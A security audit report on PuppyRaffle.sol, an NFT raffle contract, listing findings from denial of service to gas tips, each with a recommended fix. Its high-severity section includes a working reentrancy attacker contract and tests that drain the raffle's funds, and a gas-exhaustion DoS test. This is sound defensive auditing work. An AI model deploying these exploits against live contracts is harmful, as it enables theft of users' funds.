Protocol Audit Report

Version 1.0

Kevin Lee

August 27, 2025

Protocol Audit Report

Kevin Lee

August 27, 2025

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Kevin Lee makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the person is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Audit Details

Scope

```
src/PuppyRaffle.sol
```

High

[H-1] Denial of Service (DoS), attacker can build a comprehensive array to increase gas costs, exceeding the function limit. As a result user cannot enter the raffle.

Description The vulnerability stems from the ability of an attacker to construct a comprehensive array, designed to increase the gas costs of a function. By doing so, the gas limit is exceeded, rendering the function inoperable. Consequently, legitimate users are unable to enter the raffle, effectively achieving a denial of service.

Impact This exploit can disrupt the fairness and usability of the raffle mechanism, leading to user dissatisfaction and potential financial losses. The application becomes unusable for its intended purpose, and trust in the system is eroded.

Proof of Concepts

```
    function testDosPoc() public {
        address[] memory users = new address[](10000);
        for (uint256 i = 0; i < users.length; i++) {
            users[i] = makeAddr(string(abi.encodePacked("user_", i)));
        }

        uint256 gasStart = gasleft();
        vm.expectRevert();
        puppyRaffle.enterRaffle{value: entranceFee * users.length}(
            users);
        uint256 gasUsed = gasStart - gasleft();
        console.log("Gas used for enterRaffle with 10000 users:",
            gasUsed);
    }
```

Add the code in the `PuppyRaffleTest.t.sol` below

Recommended mitigation Using the mapping data structure to store player information can help mitigate this issue.

[H-2] In `PuppyRaffle::refund`, the external call `payable(msg.sender).sendValue(entranceFee)` before the state change `players[playerIndex] = address(0)`. It will cause reentrancy issue, attacker can steal all fund in contract

Description The vulnerability arises from the sequence of operations in the `refund` function of the `PuppyRaffle` contract. Specifically, the external call to `payable(msg.sender).sendValue(entranceFee)` is executed before the state change `players[playerIndex] = address(0)`. This order of operations opens up the possibility for a reentrancy attack, where an attacker can exploit the external call to repeatedly invoke the `refund` function before the state is updated. As a result, the attacker can potentially drain all funds from the contract by continuously triggering refunds.

Impact If an attacker is able to re-enter the function, they may be able to drain funds from the contract or manipulate the state in their favor. This can lead to significant financial losses for the contract owner and users.

Proof of Concepts

```
    function testReentrancy() public {
        address attacker = makeAddr("attacker");
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = address(3);
        players[3] = attacker;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
        vm.startPrank(attacker);
        AttackReentrancy attackContract = new AttackReentrancy(address(
            puppyRaffle));
        vm.deal(address(attackContract), 1 ether);
        attackContract.attack();
        vm.stopPrank();

        assertEq(address(puppyRaffle).balance, 0);
        assertEq(address(attackContract).balance, 5 ether);
    }
```

```
contract AttackReentrancy {
    PuppyRaffle public puppyRaffle;

    constructor(address _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
    }

    function attack() public {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: 1 ether}(players);
        uint256 index = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(index);
    }


    function _payload() internal {
        if(address(puppyRaffle).balance >= 1 ether) {
            uint256 index = puppyRaffle.getActivePlayerIndex(address(
                this));
            puppyRaffle.refund(index);
        }
    }

    fallback() external payable {
        _payload();
    }

    receive() external payable {
        _payload();
    }
}
```

Add the code to `PuppyRaffleTest.t.sol`

Recommended mitigation Follow the CEI

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
+        players[playerIndex] = address(0);
        payable(msg.sender).sendValue(entranceFee);
-        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

[H-3] The `PuppyRaffle::selectWinner` exsited a weak randomness. `uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length`,the `msg.sender` `block.timestamp` and `block.difficulty` is easily manipulated by attacker

Description The use of keccak256 hash functions on predictable values like block.timestamp, block.number, or similar data, including modulo operations on these values, should be avoided for generating randomness, as they are easily predictable and manipulable. The PREVRANDAO opcode also should not be used as a source of randomness. Instead, utilize Chainlink VRF for cryptographically secure and provably random values to ensure protocol integrity.

Impact Attacker can manipulate the outcome of the raffle by controlling the input values to the keccak256 function, leading to predictable and biased results.

Proof of Concepts

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        // @audit the chain data can easily be manipulated by miner,
            randomness is not secure
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;

        totalFees = totalFees + uint64(fee);

        uint256 tokenId = totalSupply();

        // We use a different RNG calculate from the winnerIndex to
            determine rarity
        // @audit people can revert the transaction until they get what
             they want
        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
             block.difficulty))) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }

        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;
        (bool success,) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to
            winner");
        _safeMint(winner, tokenId);
    }
```

Recommended mitigation

Use the Chainlink VRF or other safe randomness sources for selecting winners and determining rarity.

[H-4] Denial of Service (DoS), malicious contract set a fallback function to revert the reward transfer, causing the raffle system cannot start a new game

Description A malicious contract can exploit the raffle system by setting a fallback function that reverts the reward transfer. When the system attempts to transfer rewards to such a contract, the transaction fails. As a result, the raffle system becomes stuck and is unable to start a new game.

Impact If the raffle system is unable to start a new game, it could lead to a loss of player engagement and trust in the system. Players may become frustrated if they are unable to participate in future raffles, leading to a decline in overall usage.

Proof of Concepts

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint64(fee);

        uint256 tokenId = totalSupply();
        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
            block.difficulty))) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }

        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;
        // @audit the winner wouldn't get the money if their fallback
            was messed up
        (bool success,) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to
            winner");
        _safeMint(winner, tokenId);
    }
```

Recommended mitigation Using the `Pull over` mode, let users claim their rewards instead of sending them directly. This way, even if a malicious contract is involved, it won't be able to block the reward transfer. # Medium ## [M-1] In `PuppyRaffle::selectWinner` function, `uint64` is too small. It may overflow distrupting the system stability

Description In the `PuppyRaffle::selectWinner` function, the `totalFees` variable is of type `uint64`, which may not be large enough to hold the total fees collected from all players. If the total fees exceed the maximum value of `uint64`, it will overflow and wrap around to zero, potentially disrupting the system's stability.

Impact If the `totalFees` variable overflows, it could lead to incorrect fee distributions, loss of funds, and overall instability in the raffle system.

Proof of Concepts

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;

        // @audit overflow
        // @audit use bigger uint type or newest solidity version
        // @audit unsafe cast uint64 is to small
        totalFees = totalFees + uint64(fee);

        uint256 tokenId = totalSupply();
        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
            block.difficulty))) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }

        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;
        (bool success,) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to
           winner");
        _safeMint(winner, tokenId);
    }
```

Recommended mitigation Change the type of `totalFees` to a larger uint type, such as `uint256`, to accommodate larger values and prevent overflow.

[M-2] Users may call the functions multiple times to obtain a specific NFT, leading to gas wars.

Description Currently, the system allows users to repeatedly call functions in an attempt to acquire a specific NFT. This uncontrolled behavior can lead to excessive transaction attempts, which in turn causes network congestion and high gas fees (commonly referred to as “gas wars”) on blockchain networks.

Impact Higher gas fees caused by excessive transaction attempts can degrade user experience, as they discourage participation in NFT transactions or platform usage. This behavior not only leads to network congestion, delaying other transactions and affecting overall blockchain performance, but also fosters unfair competition, where resource-rich users dominate NFT acquisitions, creating an unequal playing field. Consequently, such issues can damage the platform’s reputation, making it less appealing to both users and developers.

Proof of Concepts

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint64(fee);

        uint256 tokenId = totalSupply();

        // We use a different RNG calculate from the winnerIndex to determine rarity
        // @audit people can revert the transaction until they get what they want
        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }

        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;
        (bool success,) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
    }
```

Recommended mitigation Use the Chainlink VRF or other safe randomness sources for selecting winners and determining rarity.

[M-3] Malicious contract can use `selfdestruct` to transfer fund to raffle contract, resulting the raffle owner cannnot claim his fees

Description If a malicious contract calls `selfdestruct` and sends its funds to the raffle contract, the raffle owner may be unable to claim their fees, as the funds will be locked in the contract.

Impact This issue can lead to a loss of funds for the raffle owner, as they may be unable to access the fees generated by the raffle. Additionally, it can create a negative user experience, as players may be unable to withdraw their winnings.

Proof of Concepts

```
function withdrawFees() external {
        // @audit attack can transfer the additional money by
           selfdestruct, will cause cannot withdraw fees
        require(address(this).balance == uint256(totalFees), "
           PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Recommended mitigation Use a state variable to record the fees and add a new function to claim the fees. # Low ## [L-1] In `PuppyRaffle::getActivePlayerIndex` function the players at index of 0 always return 0 unless user active or unactive

Description In the `PuppyRaffle::getActivePlayerIndex` function, if a player is at index 0, the function will always return 0, regardless of whether the player is active or not. This can lead to confusion and potential exploitation, as it may appear that a player is active when they are not.

Impact This issue can be exploited by malicious actors to manipulate the raffle system. If a player knows that their index will always return 0 when they are inactive, they could potentially re-enter the raffle or perform other actions that rely on their active status.

Proof of Concepts

```
    function getActivePlayerIndex(address player) external view returns
         (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        // @audit if the player is at index 0, it will return 0 might
           think they are not active
        return 0;
    }
```

Recommended mitigation Add a boolean return value to indicate whether the player was found or not.

```
    function getActivePlayerIndex(address player) external view returns
         (uint256, bool) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return (i, true);
            }
        }
        return (0, false);
    }
```

Informational

[I-1] Consider using a specific version of Solidity in your contracts instead of a wide version.

Recommended mitigation

```
// SPDX-License-Identifier: MIT
- pragma solidity ^0.7.6;
+ pragma solidity 0.8.18;
```

[I-2] The variable can use `constant` filed

Recommended mitigation

```
    // Stats for the common puppy (pug)
-    string private commonImageUri = "ipfs://
QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
+    string private constant commonImageUri = "ipfs://
QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
    uint256 public constant COMMON_RARITY = 70;
    string private constant COMMON = "common";

    // Stats for the rare puppy (st. bernard)
-    string private rareImageUri = "ipfs://
QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";
+    string private constant rareImageUri = "ipfs://
QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";
    uint256 public constant RARE_RARITY = 25;
    string private constant RARE = "rare";

    // Stats for the legendary puppy (shiba inu)
-    string private legendaryImageUri = "ipfs://
QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
+    string private constant legendaryImageUri = "ipfs://
QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
    uint256 public constant LEGENDARY_RARITY = 5;
    string private constant LEGENDARY = "legendary";
```

[I-3] The `constructor` lack of zero address check

Recommended mitigation Add to the top of `PuppyRaffle.sol`

```
+   error PuppyRaffle__ZeroAddress
```

```
constructor(uint256 _entranceFee, address _feeAddress, uint256
    _raffleDuration) ERC721("Puppy Raffle", "PR") {
+        if(_feeAddress == address(0)) revert PuppyRaffle__ZeroAddress
    ();
        entranceFee = _entranceFee;
        feeAddress = _feeAddress;
        raffleDuration = _raffleDuration;
        raffleStartTime = block.timestamp;

        rarityToUri[COMMON_RARITY] = commonImageUri;
        rarityToUri[RARE_RARITY] = rareImageUri;
        rarityToUri[LEGENDARY_RARITY] = legendaryImageUri;

        rarityToName[COMMON_RARITY] = COMMON;
        rarityToName[RARE_RARITY] = RARE;
        rarityToName[LEGENDARY_RARITY] = LEGENDARY;
    }
```

[I-4] In `PuppyRaffle::enterRaffle` if user pass a empty array the function still emit a event

Recommended mitigation

```
function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
        }

        uint256 playerLength = players.length;
        for (uint256 i = 0; i < playerLength - 1; i++) {
            for (uint256 j = i + 1; j < playerLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
+        if(newPlayers.length == 0) return;
        emit RaffleEnter(newPlayers);
    }
```

Add a if branch to avoid emitting an event for empty arrays.

[I-5] Magic number may make user confused

Recommended mitigation

```
+   uint256 constant PRECISION = 100;
+   uint256 constant FEE = 20;

function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
+        uint256 prizePool = (totalAmountCollected * PRECISION - FEE) / PRECISION;
+        uint256 fee = (totalAmountCollected * FEE) / PRECISION;

        totalFees = totalFees + uint64(fee);

        uint256 tokenId = totalSupply();

        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }

        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;
        (bool success,) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
    }
```

Gas

[G-1] Use the state variable to limited the loop scope

Recommended mitigation

```
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");
+        uint256 newPlayersLength = newPlayers.length;
+        for (uint256 i = 0; i < newPlayersLength; i++) {
-        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
        }

        // Check for duplicates
        // @audit-info player.length can replace by 'uint256
           playerLength = players.length;
        uint256 playerLength = players.length;
        for (uint256 i = 0; i < playerLength - 1; i++) {
            for (uint256 j = i + 1; j < playerLength; j++) {
                // @audit dos attack, hacker can call function
                   constantly, other user cannot start the game.
                require(players[i] != players[j], "PuppyRaffle:
                   Duplicate player");
            }
        }
        //@audit-low empty raffle will cause additional gas costs
        emit RaffleEnter(newPlayers);
    }
```

```
    function getActivePlayerIndex(address player) external view returns
         (uint256) {
+        uint256 playersLength = players.length;
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Add a variable

[G-2] Unused the function increases costs

Recommended mitigation

```
-     function _isActivePlayer() internal view returns (bool) {
-         for (uint256 i = 0; i < players.length; i++) {
-             if (players[i] == msg.sender) {
-                 return true;
-             }
-         }
-         return false;
-     }
```